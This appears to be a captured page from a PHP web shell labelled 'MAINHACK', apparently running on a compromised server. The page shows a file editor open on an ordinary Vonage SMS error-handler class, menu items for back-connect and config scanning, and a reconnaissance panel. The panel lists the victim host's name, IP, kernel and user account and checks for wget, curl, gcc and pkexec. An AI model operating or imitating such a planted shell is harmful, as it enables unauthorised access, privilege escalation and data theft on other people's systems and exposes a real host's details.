[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExceptionErrorHandler.php
<?php declare(strict_types=1); namespace Vonage\SMS; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\ThrottleException; use function json_decode; use function preg_match; class ExceptionErrorHandler { /** * @throws ClientException\Request * @throws ClientException\Server * @throws ThrottleException */ public function __invoke(ResponseInterface $response, RequestInterface $request) { //check for valid data, as well as an error response from the API if ((int)$response->getStatusCode() === 429) { throw new ThrottleException('Too many concurrent requests', $response->getStatusCode()); } $data = json_decode($response->getBody()->getContents(), true); if (!isset($data['messages'])) { if (isset($data['error-code'], $data['error-code-label'])) { $e = new ClientException\Request($data['error-code-label'], (int)$data['error-code']); } elseif (isset($data['title'], $data['detail'])) { $e = new ClientException\Request($data['title'] . ' : ' . $data['detail']); } else { $e = new ClientException\Request('Unexpected response from the API'); } $e->setEntity($data); throw $e; } //normalize errors (client vrs server) foreach ($data['messages'] as $part) { switch ($part['status']) { case '0': break; //all okay case '1': $e = new ThrottleException($part['error-text']); $e->setTimeout(1); $e->setEntity($data); if (preg_match('#Throughput Rate Exceeded - please wait \[\s+(\d+)\s+] and retry#', $part['error-text'], $match)) { $seconds = max((int)$match[1] / 1000, 1); $e->setTimeout($seconds); } throw $e; case '5': $e = new ClientException\Server($part['error-text'], (int)$part['status']); $e->setEntity($data); throw $e; default: $e = new ClientException\Request($part['error-text'], (int)$part['status']); $e->setEntity($data); throw $e; } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002